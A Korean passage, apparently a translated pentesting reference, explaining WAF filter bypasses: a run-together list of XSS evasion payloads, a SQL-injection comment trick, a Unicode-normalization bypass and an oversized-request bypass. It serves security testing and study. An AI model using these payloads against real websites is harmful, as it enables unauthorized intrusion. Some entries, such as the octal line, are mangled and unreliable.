다양한 기법을 사용하여 방화벽의 정규식 필터를 우회할 수 있습니다. 대소문자 교대, 줄 바꿈 추가, 페이로드 인코딩 등의 예가 있습니다. 다양한 우회 기법에 대한 자료는 PayloadsAllTheThings와 OWASP에서 찾을 수 있습니다. 아래 예시는 이 기사에서 가져왔습니다.
<sCrIpT>alert(XSS)</sCriPt>#changing the case of the tag<<script>alert(XSS)</script>#prepending an additional "<"<script>alert(XSS) // #removing the closing tag<script>alert`XSS`</script>#using backticks instead of parenethesesjava%0ascript:alert(1) #using encoded newline characters<iframe src=http://malicous.com <#double open angle brackets<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags<img/src=1/onerror=alert(0)>#bypass space filter by using / where a space is expected<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a>#extra charactersFunction("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and promptjavascript:74163166147401571561541571411447514115414516216450615176#octal encoding<iframe src="javascript:alert(`xss`)">#unicode encoding/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statementnewFunction`alt\`6\``; #using backticks instead of parenthesesdata:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+#base64 encoding the javascript%26%2397;lert(1) #using HTML encoding<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)">#Using Line Feed (LF) line breaks<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
문자 집합 인코딩
WAF는 웹 응용 프로그램 방화벽을 의미하며, 웹 애플리케이션의 보안을 강화하기 위해 사용됩니다. WAF는 일반적으로 웹 요청을 분석하고, 악성 행위를 탐지하고 차단하는 데 사용됩니다. 그러나 WAF는 종종 문자 집합 인코딩을 사용하여 악성 페이로드를 탐지하고 차단할 수 있습니다.
문자 집합 인코딩은 문자를 컴퓨터에서 사용할 수 있는 형식으로 변환하는 프로세스입니다. 일부 WAF는 특정 문자 집합을 차단하거나 허용하는 데 사용될 수 있습니다. 이를 통해 WAF는 악성 페이로드를 탐지하고 차단할 수 있습니다.
WAF 우회를 위해 문자 집합 인코딩을 사용할 수 있습니다. 이를 통해 악성 페이로드를 변형하여 WAF의 탐지를 피할 수 있습니다. 일반적으로 URL 인코딩, 유니코드 인코딩, HTML 엔티티 인코딩 등이 사용됩니다.
문자 집합 인코딩은 WAF 우회 기술 중 하나이며, 특정 WAF 구현에 따라 효과적일 수 있습니다. 그러나 모든 WAF에서 동작하지는 않으며, WAF 우회를 위해 다른 기술과 조합하여 사용하는 것이 좋습니다.
유니코드 정규화의 구현에 따라 (자세한 내용은 여기에서 확인 가능), 유니코드 호환성을 공유하는 문자는 WAF를 우회하고 의도한 페이로드로 실행될 수 있습니다. 호환 가능한 문자는 여기에서 찾을 수 있습니다.
예제
# under the NFKD normalization algorithm, the characters on the left translate# to the XSS payload on the right<imgsrc⁼ponerror⁼'prompt⁽1⁾'﹥--><imgsrc=ponerror='prompt(1)'>
크기 제한 초과
클라우드 기반 WAF에서는 페이로드가 X 크기보다 큰 경우, 요청이 WAF에 의해 확인되지 않을 수 있습니다. 이를 이용하여 간단히 우회할 수 있습니다.